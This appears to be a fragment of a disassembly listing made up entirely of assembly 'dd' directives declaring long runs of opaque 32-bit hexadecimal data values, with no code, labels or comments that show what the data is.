		dd 302249DEh, 80642827h, 0D36ADDBBh, 0D90C60FBh, 31A98679h
		dd 15B7002Ah, 0F7824BEAh, 0C73AE84Dh, 0DBB38071h, 39DCF864h
		dd 0D5793150h, 223624B0h, 0F46A013Ch, 693D278Dh, 4517C02Bh
		dd 0A1301737h, 0A7B82074h, 51AE0194h, 7CC27EB7h, 0A85F30D8h
		dd 304E5C00h, 68014205h, 2493310Dh, 601AE1F9h, 0DB01ACCBh
		dd 0A0E0BC1Fh, 0D1CC5E37h, 340848D3h, 96F9F001h, 2486C2E5h
		dd 0A56A5F88h, 92E07040h, 0F8605Eh, 0E5C97C96h,	1F371402h
		dd 6545CE03h, 0F0A601EBh, 0F80B55E1h, 5F880231h, 0CF548774h
		dd 8D0264C6h, 0E00173B8h, 5605C0DEh, 846500E8h,	7096D15Bh
		dd 90B0C74Eh, 0D831B624h, 0F5E06424h, 90BEFF4Bh, 0A5201FCh
		dd 9310E568h, 3E2183D8h, 806295ACh, 9E7DD2Ch, 198C3F50h
		dd 46BC0004h, 0B0593ED1h, 49A400E8h, 3617B9A9h,	104CAB1Fh
		dd 0FCF28754h, 70E68DE0h, 69D10A3Bh, 648183h, 3991B42Eh
		dd 4E7E26B9h, 66F9B500h, 0FAA337F4h, 0B0137B2Dh, 0B4A02058h
		dd 7C6EE213h, 0A3510820h, 9F760038h, 0BB1E789Bh, 9C002F40h
		dd 965BED35h, 2531CCBh,	0FE603EE2h, 0AAC07419h,	1C901193h
		dd 0E6B5EF03h, 0FB376A0Ah, 89B1009Eh, 50999F4Ah, 6E009D85h
		dd 5A4777C1h, 0ABDB07Bh, 2190CA67h, 407C9CECh, 0F27186B1h
		dd 0EB0BD217h, 98E468B6h, 0CE6B74h, 0AA1BE0C4h,	6EEDDFECh
		dd 811750B0h, 6437DD54h, 488D1C5h, 6F961DB5h, 0A26D4034h
		dd 0A62E2B48h, 0EB40E200h, 98ED6AC9h, 0C55FCC8h, 743BE430h
		dd 2E4C2039h, 8ABE12C8h, 9AB6C840h, 12DA6B2Ch, 81ABCF6h
		dd 0CA80B994h, 0F09BD8B7h, 0FE071819h, 44451947h, 0D3072774h
		dd 5BA048B2h, 548B0311h, 91806A89h, 3FEFB501h, 72832F6h
		dd 49741EAh, 0DDA78A40h, 2481C34Bh, 590B4F37h, 0A01790E1h
		dd 79FEB654h, 0C4B0B2ACh, 43BC3F28h, 0C94E0A6Ah, 28602DB9h
		dd 0A7714099h, 1BCCB52h, 0EB0B6F37h, 1681C8B9h,	1DFFD513h
		dd 15A063DFh, 130DCA7h,	680BD14Eh, 58D17404h, 0D60CA873h
		dd 0F228D4F3h, 6C01B7FEh, 0B5440FA9h, 31D8C702h, 28773C6Ah
		dd 6160413Ch, 4F2E6CA5h, 50320818h, 0FF4484Ah, 9EC3BFF7h
		dd 90B68664h, 0D1C21F00h, 0E9C4AC02h, 0E07ED8FBh, 2E1B6797h
		dd 46D06E3Dh, 370059C2h, 5808F128h, 96D550Eh, 0C93DE48Dh
		dd 80F0E011h, 3E616529h, 0DE8E9Ch, 0F889E58h, 207B630h
		dd 9AA6FB00h, 5BF1524Dh, 0FCBE50DAh, 9162EEC6h,	592100F0h
		dd 0D47F5A80h, 6FE15003h, 0D1F98EF8h, 3EF80768h, 0F56905D8h
		dd 8249872Dh, 0E2210B4Ch, 7060ABC3h, 1F20B1B9h,	2E0222D9h
		dd 81AC75D0h, 84C4A0D1h, 7558922h, 49277B28h, 0D3049078h
		dd 38067531h, 77CEE437h, 2E1A2441h, 331DCCh, 0F37936AEh
		dd 0AF88BD14h, 63C70196h, 48E67E95h, 0DDBD2012h, 0B6B7F0FDh
		dd 49C23F7Eh, 0C9404E5Fh, 0FC321148h, 0C1BCA903h, 48805C98h
		dd 320040E9h, 6C5113BDh, 986EFE10h, 58A600C4h, 0E3926EBh
		dd 64A0AF0Bh, 21008A9Ch, 10852A2h, 17326D3Eh, 20FE71EAh
		dd 8DAF3F2Ch, 5F052101h, 0D9182CCDh, 0F6528CC4h, 455C134Ch
		dd 0D13C0FB2h, 8438C3CBh, 337D8F0Fh, 24DFED05h,	60C12CBDh
		dd 0BFF85BADh, 7C264941h, 0C1C90C00h, 0F2677C05h, 3F033D71h
		dd 39246BF0h, 6AE9077Fh, 0B56F9314h, 0C9A8070Bh, 80AD2530h
		dd 0E61DA3D8h, 9DABF504h, 0E8A4E8A7h, 52490A37h, 78861Ah
		dd 2E3A0436h, 6800BBCAh, 4451CFF6h, 0E8C647h, 523F7629h
		dd 141F2E19h, 8F706EE2h, 54860B09h, 0D9C010B3h,	19DF88CEh
		dd 8677FC05h, 98404010h, 0BB55CBEEh, 8AA30053h,	26F67350h
		dd 609C7BFEh, 3832DCA8h, 5AD1D9AAh, 47EE3C2Ch, 561B3300h
		dd 8CC2D003h, 0B43238E4h, 0E6DD78DAh, 13364258h, 28046F2Bh
		dd 0F54A7529h, 652441C0h, 0D629874Eh, 0A7108C0Bh, 92B7865Ch
		dd 7D0900E4h, 5B021F17h, 1503A0BAh, 6BA5416Eh, 0A0F1784Bh
		dd 2EB631B8h, 4B884C5Fh, 249AE400h, 9D173321h, 0CC001F56h
		dd 4106859Bh, 55F7029Ch, 0D67514DCh, 500090E4h,	4F6176F0h
		dd 8BF539h, 37DA4805h, 66749E6Eh, 94A33B28h, 20587642h
		dd 1141D118h, 670014BFh, 0F3CD280Ah, 0EE0507EEh, 80A0DE5Dh
		dd 0FF43F1FDh, 812596BCh, 91C02ED6h, 985E4F01h,	0C95780A4h
		dd 0F4B085CDh, 0E8C1C029h, 142DB37Eh, 8474213h,	5F923A50h
		dd 0A8260488h, 3C4E68h,	0EAF5D98Ch, 30E054C6h, 0F2029BF2h
		dd 0BFC39A8Fh, 3544088h, 0C2BD36B4h, 98DDD968h,	0DD3200A2h
		dd 0F8B2CE5Ch, 4B1CA662h, 36C39356h, 0FA0B2BDEh, 49448107h
		dd 204C4EE2h, 135100CBh, 3279F1E8h, 0B100F370h,	0DBBDCCF7h
		dd 48C06289h, 0B625387Eh, 3FA22410h, 84EE5901h,	7F93699Bh
		dd 2EAC034h, 1544350Dh,	0CC6B8C8h, 1D38F100h, 0EE9A74F8h
		dd 964700E5h, 6AAF20F4h, 75C6012h, 0D922C034h, 2E537C9h
		dd 876BABC2h, 6B603FE4h, 0C50F50BAh, 0F881DBC7h, 87FEC9h
		dd 0D6EBE8CFh, 0CBB448A3h, 0C9729C01h, 0C2DB96B8h, 80F4FAEFh
		dd 41FA9B50h, 0D5A4A8D2h, 747507C7h, 0F04E4413h, 0F80EE168h
		dd 5225D9FDh, 8620F964h, 80BB6Eh, 6C39D5CEh, 1B4622E7h
		dd 90BD1207h, 0D16294ECh, 4874529Dh, 0FC47858h,	0B548C314h
		dd 6A2EE909h, 193C0005h, 91DDCD58h, 67C9000Ch, 3883BD6Bh
		dd 889B100h, 5CF2F480h,	0E976016Ch, 52A4AD7Fh, 5C2993h
		dd 7FCA862h, 99C0E471h,	26F90014h, 22149917h, 0A704A67Ah
		dd 62A49B51h, 175864B0h, 26B47FFh, 5285262Ch, 1475A8E0h
		dd 516A7601h, 24E420EAh, 0CB09A822h, 6082A68Dh,	8602B88Ah
		dd 3DDC783Dh, 25807E9Fh, 681D6757h, 2A009514h, 232B43ABh
		dd 5AE0C86Bh, 5C804290h, 0AB80A155h, 964968E1h,	91C3E527h
		dd 22184C90h, 2A44E492h, 68062E92h, 0A3B001Eh, 6A984CFBh
		dd 1F047E09h, 0F4A60728h, 76E3020h, 16AC7BC7h, 40555BA1h
		dd 5A5FB4DCh, 0B780B366h, 0AC3094C9h, 8B4E0008h, 0EADFE719h
		dd 0C0D8BF58h, 2E513B6h, 0FC497175h, 618900DFh,	4122A7FDh
		dd 0A120FE5Ah, 0BC210174h, 87127932h, 0F131E8CEh, 0DC1B7500h
		dd 23C8DF94h, 40815AAFh, 8EC12D4Ch, 0C7006863h,	793B24DEh
		dd 4EE376Bh, 5E90FC46h,	5428B4D6h, 0C44E1400h, 5F86C780h
		dd 7155F8C2h, 0E478130Bh, 4098C827h, 9A93138Ch,	0E48842BCh
		dd 8205F2Ah, 7C4CE74Eh,	0E417550Fh, 311F0h, 0A29CBAB7h
		dd 0B1DD2AA8h, 0E874F9E4h, 890B7805h, 0B380E7DAh, 1A62980h
		dd 0BCDF773Bh, 645D23A7h, 5158249Ch, 10D18968h,	0A92748h
		dd 0A3C962A5h, 0E65D22CBh, 0F1A71C16h, 27AFC49h, 60198088h
		dd 94F0D6EDh, 0C2DA0040h, 511D2DD5h, 0EC0F58h, 0E8A4C705h
		dd 536F36h, 0C9D4160Bh,	69BF527Eh, 1F780A00h, 0EE83E8E6h
		dd 805F482Ch, 0CF2A701h, 6923A475h, 0A1862508h,	0C25A5E48h
		dd 0E73AC0CBh, 212F1759h, 45302093h, 0AA002385h, 535C3187h
		dd 6450FE7Dh, 4027E175h, 8AC3A83Dh, 0CF09004Ch,	0E43B7E66h
		dd 0CE00B706h, 0AB6EF6CDh, 99E6B5h, 92FF9BF5h, 930CBD0Bh
		dd 73009499h, 0F023118Dh, 0EBE71FA5h, 0A1D78053h, 78EC03B5h
		dd 0F81E0D2Ch, 629D4560h, 732C0107h, 4C417042h,	0B7383475h
		dd 80403C4Bh, 0CE1E1419h
		dd 0D550186h, 0C22E5EFBh, 8028F6h, 0DB9F0BE3h, 0B089194Eh
		dd 807891ECh, 0BCADEB3Ah, 1D331417h, 0E82B388Bh, 446097Bh
		dd 12661E75h, 8174CC41h, 0BBC2E105h, 0FC213EB6h, 902336ADh
		dd 83A4F300h, 0F31CAA8h, 255C03Dh, 898EC858h, 0C7AAEh
		dd 0EE7FCE64h, 0B662ABB5h, 396226E2h, 0A4A65F51h, 9DC06938h
		dd 7EF5DAEDh, 109E8Eh, 0D9F490C6h, 0D097B2ABh, 36EC2C92h
		dd 5C0300F4h, 4153C237h, 0B74204BEh, 2E989825h,	0DA342C9Eh
		dd 29928924h, 689C08h, 6EF1F596h, 5B12D3EBh, 28803FABh
		dd 16377486h, 98C3B66Fh, 0B729DF20h, 0D580883Bh, 0AB88C91Ch
		dd 2B532672h, 86C83470h, 329808B0h, 1C78362Bh, 0AA45A420h
		dd 1B6AD8h, 0F06E3E13h,	0CA22611Ah, 7DDCF71Ah, 0F2017531h
		dd 928379DDh, 0B0051AC8h, 90B35FFEh, 0A458214Eh, 4E0B7032h
		dd 0A52B860Bh, 0EC14C4FFh, 0D6AC2779h, 40E54C12h, 8ABC1C00h
		dd 0E6D9D0C8h, 1A7E0BD4h, 1C90B312h, 6601BCEBh,	9A2411A3h
		dd 302C08EFh, 41DEEC25h, 0E8AEE809h, 60DB80h, 0FB1A6CA7h
		dd 6849FD6h, 28BB9600h,	877446CEh, 0AB0B2D0Eh, 3E24CC01h
		dd 1434404Dh, 70B9172Eh, 78E09600h, 0C95692h, 54B579EFh
		dd 4660A464h, 6227000h,	75398C0Bh, 7410139Ah, 58B8884Eh
		dd 5935F801h, 18EB4DFCh, 4692F450h, 23A5172Fh, 880C57FFh
		dd 61070E8Ch, 0A3E0A4D4h, 8057A073h, 50A88Bh, 66B1792Ah
		dd 0F856F9CBh, 10E8D65Ch, 2073B727h, 30A068C3h,	31481B16h
		dd 0EA1A8078h, 0A817C8h, 92CAA7E6h, 2E3DB681h, 0A0A79896h
		dd 7604B0C8h, 9ED500B3h, 0EF285720h, 3E02237Bh,	0AB3477CFh
		dd 208C5A0Dh, 0A71A3810h, 0E44127BEh, 3C0EE6ECh, 4F070996h
		dd 9C97173h, 0FAF3549Bh, 1F7D6D80h, 0B83ABF1Ch,	970B6B40h
		dd 3FDABCh, 0EB5C1E17h,	46DE9FD0h, 524C584Ch, 6C57C0B4h
		dd 605815E3h, 0DC2630F9h, 1CB60B28h, 0E4575F00h, 0B4C36BC2h
		dd 0FED0C0D4h, 0D4F57207h, 0CB05B334h, 0AF1ABC2Dh, 0D20294B5h
		dd 200FF93h, 23ECD49Ch,	16847107h, 8EBE0194h, 0E4A4A29Ah
		dd 0CC488338h, 2312803Ch, 407F582Eh, 99A180DDh,	3CF9E195h
		dd 57166005h, 0E004D8F8h, 1109B84Fh, 35228810h,	9F77DF12h
		dd 5E5BED03h, 0E10690A9h, 915CBEF5h, 0CBB61250h, 302F2803h
		dd 40A1E3A5h, 0D8D419h,	9F5D3745h, 5FA97512h, 0B3FAEE02h
		dd 445B4154h, 24B71294h, 30A4A26Ah, 0F00219BFh,	5CF4A0CAh
		dd 84E09675h, 80683D58h, 0C6A3E16Ch, 0F3EF091h,	40F46E7Dh
		dd 0ACEB69B5h, 298C09B0h, 3800A65Ch, 0F2C2E59Eh, 0E41A31C9h
		dd 2F880000h, 3F6BC886h, 61075D13h, 0B7CD2E2Ah,	0AC08A333h
		dd 0F4FDC488h, 0BD1500A9h, 6533D3F5h, 41C84DBh,	97C7C339h
		dd 6815F469h, 0A22C9009h, 481A86F0h, 0CD7EC8h, 0D636DAAh
		dd 3FE98A65h, 0DD571C01h, 2A434105h, 0A712F079h, 823494F4h
		dd 852FB30Ch, 7CA2C3FFh, 0C819F317h, 0B5400A10h, 0C4C948B7h
		dd 0C1169281h, 0C9107CD4h, 0BE88C639h, 0CED908A8h, 0DC0DB684h
		dd 20A9D4D4h, 3B8B9400h, 296C1852h, 0C1E9AB01h,	936E0EE7h
		dd 4B00B462h, 0AF236F02h, 0C200BCB1h, 76DD163Ah, 0BF12F47h
		dd 58B9E70Bh, 226020E6h, 0DD592689h, 5884B0CDh,	160A9414h
		dd 16DC2EBAh, 7C8C105Eh, 0D6000B93h, 0A644CCCEh, 18AB161Ah
		dd 0B1E8056Eh, 0CBA82349h, 673946A4h, 0CE573C20h, 2622B740h
		dd 0AC72F925h, 9CC78B07h, 0AF241074h, 1D00C3AEh, 280A7FB2h
		dd 0B1524113h, 0C8D292E0h, 0FD4CDF4Ch, 0C851608Ch, 77F6FBh
		dd 396F1EFh, 6DFACFACh,	8A233D0Bh, 78C452h, 2BA3D1EFh
		dd 22058B9Fh, 0AD6E38h,	395A7D52h, 4318B4h, 0E9498CDDh
		dd 4C6A4E75h, 98417124h, 0F0311962h, 74A120D0h,	86CF9900h
		dd 6BD8C8E8h, 0BB6405BAh, 81B7FBD6h, 7324E4F8h,	3DE0208h
		dd 0E0C9905Ah, 80DA31BCh, 61059F1Ah, 0A62F0A9Bh, 242CACE3h
		dd 0AC822D86h, 0C444F1A7h, 0A4FDAB09h, 22C0E4DCh, 6A48B50Dh
		dd 0D2544C38h, 221A5030h, 3FD30E09h, 55807759h,	0AE7ADDF6h
		dd 32703E4Ch, 0DA419129h, 7E050074h, 0BAE6C33Bh, 0D268B1Eh
		dd 71054619h, 0E9134246h, 1BC48C8h, 4E494B5Eh, 0FC3B5FCEh
		dd 1030BA17h, 8A942148h, 0F6840019h, 771549Fh, 0C6003B18h
		dd 0FF50A62Bh, 4EAE94h,	96EB536Fh, 39ABEDDFh, 8522875h
		dd 0EB6B1368h, 0FDA72C00h, 52F1B66h, 976E29ACh,	1CE204h
		dd 2B995AAh, 982CE7DDh,	85C60083h, 28276A11h, 0F1E8E43Fh
		dd 2460C25Bh, 0FC0848D9h, 14F3010Ah, 0A8C15843h, 0E3788098h
		dd 0D2E040FAh, 0A9250B07h, 0EC1AF4A6h, 1780B056h, 85E6641Ah
		dd 0E5779Bh, 6F0AFEC8h,	0FB8E88E2h, 73016E90h, 0F93C861Fh
		dd 45D21AC6h, 7099808Ch, 0B2945160h, 0D330860Fh, 731BC0F0h
		dd 42415E58h, 0C0C5135Ah, 43653C61h, 8042D111h,	0B59DC659h
		dd 39EFDE7h, 705C83F1h,	679A3F0Ah, 9581C0C8h, 0FB48550h
		dd 37CC6E16h, 0C4B2A812h, 2EE9FE30h, 950080F8h,	0BA2FA1A6h
		dd 0F0622997h, 1E4E007Bh, 0C3D53963h, 9E062EA0h, 74865C77h
		dd 0F79B00A9h, 0DC87AB89h, 78B4C09Ah, 11605E52h, 9E1118BCh
		dd 78A9BC9h, 0BF803F96h, 0A08420C0h, 50BD065Dh,	41F32DD4h
		dd 8CC6F08Bh, 9A0F94A6h, 2973052Ch, 5F6C18B8h, 0E06800C5h
		dd 0A25C14ACh, 0D3570631h, 0CCD029F0h, 5F55DC01h, 0E9D0DA8Fh
		dd 784D037Fh, 664046C2h, 0A19288A0h, 0B8DC53h, 85B42B13h
		dd 51C5AEDh, 8FB8E97Eh,	0C3F84431h, 0C0F4E941h,	13A5AD8Dh
		dd 0D5D3001Dh, 0A783DEFAh, 6CBEFB23h, 4503ACA0h, 0D16B8274h
		dd 0F4FFC11Dh, 7801FC49h, 0A0508C86h, 0DA53A1h,	4B0DEDA7h
		dd 0EFC16146h, 0D6688E14h, 43AD0054h, 525FBB87h, 0E0A19715h
		dd 30DF7736h, 9854E838h, 302724C8h, 57D43841h, 3A1900BBh
		dd 2FB6B006h, 0B718CE2Ah, 5F2129C8h, 0E094954Fh, 900063A3h
		dd 0BAEFAFD4h, 9E56D339h, 5EF48408h, 0D4F04474h, 60897E03h
		dd 0E8DAD0E7h, 0CDE21736h, 0DF002C99h, 74146D0h, 0BC2700E9h
		dd 318356FBh, 3B013D97h, 4322797Eh, 4878DB50h, 0F87014C4h
		dd 3B30A54h, 9316F290h,	14AC00D4h, 0A4A928C1h, 7FA1F487h
		dd 0F551080Eh, 76C8134h, 0BC5D8DB4h, 0F1A60D0h,	7C1D4647h
		dd 0E9198460h, 3B78CB48h, 30B7DA13h, 2EF4B5h, 71DED5B0h
		dd 0EA0763C1h, 936F324Bh, 364388CAh, 6A0BA4B8h,	44998809h
		dd 1E49E00Bh, 0A0214E5Eh, 74F88976h, 0A7A63D23h, 9BCC224Bh
		dd 54D0EB42h, 84A15F29h, 0D8FEE200h, 68C12Ch, 0B42829FDh
		dd 0D18AB653h, 5C00E4A4h, 12F6CF90h, 1A819Bh, 11254431h
		dd 3A9F373Bh, 0E480BA1Eh, 30B49312h, 76A900C2h,	8C889EA2h
		dd 0ED2A84DCh, 0CA04EC11h, 0B2935A46h, 1AF49Ch,	761B8C79h
		dd 0D87D8E36h, 5FD4F500h, 481652A7h, 0E5712DAFh, 81010414h
		dd 3BA68FCBh, 3423DAB4h, 0FBDD13h, 9A37D63Ah, 754B18E4h
		dd 60101888h, 0FB2E2942h, 83F20F60h, 3A880E4Ch,	0E34780ECh
		dd 0BB4CA608h, 4BA17496h, 0CB2C20BFh, 8B0955FAh, 2A6FFE53h
		dd 922D9888h, 0E7CE800h, 5963003Eh, 8A1375A2h, 0A009B0A7h
		dd 278B12E9h, 40DFDD00h, 2E58C3CBh, 5FF814C8h, 0E96D057h
		dd 2917614h, 968B1C2Eh,	0A33DC343h, 8C88FDC3h, 0EA1D01D7h
		dd 375C7D31h, 0A88448FEh, 6D12E700h, 72F074B8h,	41904EDDh
		dd 0DEB1F704h, 0FE8EBBAh, 5101ACBFh, 87F5C1D1h,	80470B5Fh
		dd 0B08196B0h, 2591C448h
		dd 94F14F6Bh, 0A87E0054h, 0B3129FBBh, 131B07AAh, 44970519h
		dd 440CD73Dh, 66A12239h, 0F41B1CFCh, 0B0A7A527h, 5C1889A7h
		dd 4148F883h, 0E2F802Ch, 0C09CC14h, 0BA62AF85h,	0C914B456h
		dd 0F4C2E81h, 294EDF1Ah, 44107219h, 0A86086C4h,	2DEAD2B1h
		dd 0DE800047h, 0F1E2B83Fh, 0E01DAE02h, 0BE806149h, 72E38E3Ch
		dd 0DF7D3F7Eh, 168D816h, 2469178Ch, 48CC2203h, 19D302B2h
		dd 548643BBh, 0F0398168h, 0F47F083Ch, 0B6120F73h, 0D4DDA6h
		dd 3740D440h, 7FC2ED28h, 90D60C94h, 0F21BCD5h, 5B5F8B12h
		dd 0C35CD430h, 2BC202C1h, 0D3122E0Bh, 25442CDAh, 0B6770007h
		dd 0E65039F9h, 0E21CC7F3h, 5980E7F7h, 0E53D7B14h, 4DEC00C3h
		dd 74F303DFh, 0ACF3B6ABh, 0E8ECFC40h, 451500AAh, 4CA950BCh
		dd 0A1608328h, 299069C8h, 0F9360313h, 0ADEBC5DAh, 61FCAEC1h
		dd 3B5C4CE8h, 0A3100A8Ch, 88C4CAFFh, 0C0B23824h, 69202018h
		dd 0ED000C19h, 6EDAF01Eh, 145BE32h, 9A3A0166h, 2DFFCA58h
		dd 0E0CF0098h, 4F744A88h, 0CDDA0906h, 0A400D92Bh, 473F2461h
		dd 104630A1h, 375B7A2h,	0AE01D311h, 8CF96404h, 5993ECEFh
		dd 0AB783701h, 0A4416980h, 11250062h, 0E05FC027h, 12EA4EE6h
		dd 4814F725h, 0B0F89DF8h, 15317D50h, 0CCD65B4Ah, 4ECC0176h
		dd 1933C411h, 7481F274h, 0CEB3700Bh, 0D1888D80h, 0CE1C6293h
		dd 85BA57E8h, 2240E4Fh,	896A3C00h, 0BC3A7C6h, 0D61F2EB7h
		dd 928C2090h, 8B004EECh, 6378900Fh, 0B9FA1E06h,	3B7C80D8h
		dd 0FB73E71h, 7723A20Eh, 71D2F91h, 0CB60C4F9h, 95930864h
		dd 0AD51F8A0h, 2C25B419h, 75F4EE61h, 0FFE62CD7h, 407140BCh
		dd 9600D656h, 233F2A6Eh, 0F01BBCAAh, 3165E280h,	94C8C175h
		dd 5A39D074h, 782824B4h, 0D281CC01h, 0D4C5DB2Ch, 42E2CFD1h
		dd 435C4152h, 7DC88A13h, 880075ADh, 0EDA20B5Ah,	1462B6CCh
		dd 0D4CF98E1h, 6098A62Fh, 0A226AF0Bh, 408B2CB1h, 0AB2884BAh
		dd 0DAAAA742h, 2DE0F8D4h, 0E42A81h, 5BF6323Eh, 0BCDD6A8Ch
		dd 56C0185Ch, 49243788h, 85B6FA83h, 490DD487h, 61027472h
		dd 684FAA97h, 2588E8D4h, 0F9418829h, 8DAB8Eh, 0E1EF6E3Ch
		dd 535E3D48h, 388FDE81h, 0E05283ADh, 0B41323D6h, 0D830D286h
		dd 0A788FCh, 1D3AB129h,	39F3E2AEh, 125AC403h, 0A0657337h
		dd 3F7596EFh, 5FCEA783h, 72EE817Ch, 6CA6FA26h, 0AE2880E4h
		dd 1F25E16h, 9169A0C8h,	29D0B775h, 798D0A10h, 5500879Ah
		dd 30F0377Eh, 486AB0ECh, 296233EAh, 0AC91BEA7h,	6C313A24h
		dd 0D812D670h, 0E011B056h, 0A949D050h, 9F2C614h, 0F8FAE4C4h
		dd 0F9E01B00h, 0CE095B2Dh, 818812D8h, 3E549067h, 0ED02AB1Fh
		dd 0C23797C0h, 76464DBh, 4D6CBC16h, 7D13F173h, 1040FC34h
		dd 13FE83Eh, 0A62ECD6Bh, 889575A1h, 6551EC7Eh, 0D053A002h
		dd 2F30077Ch, 817B6FEEh, 99B43440h, 0D13178E1h,	0BD90402Ah
		dd 0E866DC85h, 257FFC00h, 54571EDDh, 0C404B740h, 9E1A443Eh
		dd 370846C0h, 20D65113h, 6E5CC300h, 6A0100BFh, 18271009h
		dd 21C91AD1h, 2CF8645Fh, 6790A281h, 96D410EAh, 0F1F886B7h
		dd 0BF8D152h, 5B7431E4h, 0E9EF80A4h, 990C3E80h,	0C07D4300h
		dd 2E62A610h, 9B88B8EEh, 0C00E8328h, 16C0DC47h,	0B300F48Ah
		dd 0F8BAFBDAh, 22968AFh, 0DC877845h, 5440AD79h,	48944E46h
		dd 8397C940h, 2B0501F4h, 113B19DFh, 25DC68C7h, 2702270h
		dd 17E610B6h, 0B2C9D400h, 0F5699C26h, 0BFAF2837h, 0B3572580h
		dd 73DD1830h, 7DF85400h, 49397579h, 84460356h, 9AFE433Bh
		dd 3C5C2BBAh, 36AE5340h, 0C9950076h, 78FCE507h,	82011973h
		dd 2F652CE9h, 206A387Dh, 0B87BF8A0h, 297C3701h,	0DC4EDD43h
		dd 95D3FCh, 9EDA9A4Bh, 285CB5C9h, 0B040753Eh, 615EF9E5h
		dd 0F2360090h, 10B21A12h, 0E1C06B15h, 88B4E9EDh, 0FC055808h
		dd 0EB241374h, 6DCE3BFh, 76671DE8h, 65B60290h, 0C2FEC3D5h
		dd 3A39A8C1h, 5C51428h,	0B7DB36C0h, 0A054A83Ch,	0C8D3AE5h
		dd 7DFE47AEh, 23E3A789h, 7F9B1420h, 68F0817Ch, 15E81888h
		dd 0B0AF0FE2h, 0B7E040CBh, 0D1EA5BF1h, 81E83D17h, 481B1C0Ah
		dd 118025A7h, 0C408A4h,	29024DB5h, 2B235101h, 98AAFC72h
		dd 2464CC42h, 20D0D14Fh, 0CC4C1Fh, 5D91D512h, 19BEE744h
		dd 0A2386603h, 245C746Ah, 50C03538h, 8B1891E1h,	0DF32AAB6h
		dd 697F2C34h, 31786094h, 2C01477Eh, 17E05974h, 0DDE49A5Dh
		dd 0B6B713Ch, 3FE430FAh, 0A3A658B0h, 19C7CC00h,	0F9C35326h
		dd 0FEEE006Ch, 2E3E8239h, 28070DD0h, 40779AABh,	0D18CBA42h
		dd 27430524h, 801184A8h, 840330Ch, 0DDCC4258h, 363781C1h
		dd 62C49B2Dh, 911C01D1h, 0E217F5B0h, 0E660CC96h, 0BE0E9016h
		dd 82515870h, 0E8ED0035h, 4C5BF8D8h, 94E892B7h,	5D5FBE13h
		dd 30B44497h, 0FB8008ACh, 3C1AB68Ah, 222D3B01h,	19854E24h
		dd 405E99BEh, 5F34C074h, 4712FB0Eh, 4CC0DD6Bh, 12502992h
		dd 9C02454h, 2C943F34h,	8F029676h, 0D350F451h, 8183E046h
		dd 0CD0E2D1Dh, 0F99394A0h, 0B80010DDh, 1E358521h, 0EE732C66h
		dd 0E4F80A09h, 528CBA3h, 88BE3724h, 24B1E810h, 4EF3A602h
		dd 0BB1C6179h, 6AF5A711h, 0A6375441h, 88309122h, 3490B5D2h
		dd 1174AA24h, 78C26A01h, 0D63F0D19h, 4BC900EFh,	0BD122665h
		dd 0C301C757h, 74D853AAh, 5E2A7616h, 0A2E680D8h, 906A11DEh
		dd 0DC12B89Ah, 74B6B9F0h, 68427780h, 0C70BC675h, 6408CDF3h
		dd 971E0014h, 899C801Ah, 0EC075CB1h, 3850CAA3h,	0E27CE160h
		dd 3732037Eh, 5EED59FCh, 5A4111A8h, 0C8803096h,	0A6895033h
		dd 954C06Ah, 28E405A7h,	0C7B66F00h, 37CCE2B9h, 40E49C1Fh
		dd 2D57BBB3h, 0EB15801Fh, 0C7E758C0h, 3FCA447h,	0C21E25CDh
		dd 26F03D8Ah, 5D37124Fh, 0E1B4605Ch, 4E8D00FAh,	0EEC314C4h
		dd 0B6E4D00h, 70A46358h, 0E09C9EF3h, 851448E9h,	0FE93C225h
		dd 0BA5000BCh, 0F523F9C6h, 0B413822Ch, 0EB5C1480h, 586A058Bh
		dd 0C3115C0Bh, 435F1754h, 0BC81F8B2h, 0C0E121A1h, 0D53CED6Eh
		dd 0B4000C8h, 46B4DF78h, 0C8B25CB8h, 0C1A0F8C0h, 29E3DAE7h
		dd 58B084CCh, 0FC23A402h, 0EC81E4DBh, 90D6A05Ah, 0E834F8h
		dd 0CDD4D42h, 1453AEFAh, 0D8670639h, 0D2A8C030h, 384779FBh
		dd 38002FDBh, 63F63E2Eh, 8628563Fh, 0E8006010h,	0BFABB703h
		dd 1690AA8h, 0E64F08A0h, 0C0EBF5DCh, 2900F05Eh,	0FDEFC013h
		dd 0A062A565h, 885F388Ch, 0F6044E08h, 0E02E601Ah, 0F06848FCh
		dd 0B83B0B98h, 0CD18DC53h, 4D7848h, 5932DE0Bh, 93D241B0h
		dd 2488F55Fh, 76C70074h, 57673351h, 0D1772A9Bh,	7652B00h
		dd 5927214h, 8C5B0B8Ah,	0F898F4A7h, 4284B89Ah, 2FB060E2h
		dd 27D571B1h, 2CC07F80h, 115CDB2Ch, 23138034h, 941B1C52h
		dd 3E913Ch, 0BA930301h,	4BA56B6Eh, 0B7C83102h, 0D0227FC2h
		dd 19FA104Eh, 42E2F0A8h, 3DE4970Ch, 149291F8h, 54BF3827h
		dd 7044D92Dh, 6B30222h,	0FE373EC3h, 56391148h, 312007Ch
		dd 0ED90A201h, 5A180F46h, 0A520F645h, 0C62EB022h, 0FB76B4FAh
		dd 34F0A948h, 744091DDh, 0E8FF024Ch, 8F8304FAh,	0F4F1A71Bh
		dd 28003704h, 4B6808F8h, 2D860B35h, 0C861D52Eh,	0C0E86225h
		dd 602EA9FAh, 33414F3h,	0A8C0E090h, 18263EFDh, 7146D400h
		dd 60E453B4h, 0E1E85C3Bh, 9B820A09h, 9219BB7Ch,	373FBB08h
		dd 85A740F4h, 0E0B1FE97h, 15C24A03h, 0F8E18156h, 2507B5D8h
		dd 83A7D5h, 2900B911h
		dd 5FDB0102h, 26AFCB35h, 9498B562h, 0EC80E8DCh,	0E2DBCFC2h
		dd 0BFCDF200h, 0A03924BAh, 936CB671h, 176C30A4h, 0B6278419h
		dd 62E4C9C2h, 0FCC4403Fh, 32596576h, 2BE66E70h,	126A3700h
		dd 93699429h, 40B95B2Ah, 27907D78h, 14B1BC65h, 0EA1FC991h
		dd 31802841h, 69B1BA33h, 5440E289h, 0ED00AB1Ch,	1855C2E6h
		dd 0B2C3113Bh, 70FA4B44h, 974F2F54h, 40CD90Fh, 0D80740E6h
		dd 0DA3440DCh, 0FC90E878h, 582C90E2h, 31E0E8BFh, 2AFF37Fh
		dd 9F667944h, 40D2B5h, 6503C3EDh, 198DC624h, 0F78CA137h
		dd 37080920h, 77894941h, 8D19559Bh, 0C4102A54h,	20581674h
		dd 9D298E0Eh, 80A49354h, 6580FC7Fh, 0C3FD0031h,	0C521EDE0h
		dd 104FBA27h, 3C859C40h, 0E3CF42h, 2F1A50D8h, 97B4B765h
		dd 81C33B3Eh, 14F9E2E1h, 2C58D6h, 13DC152Ch, 4CECDC4Eh
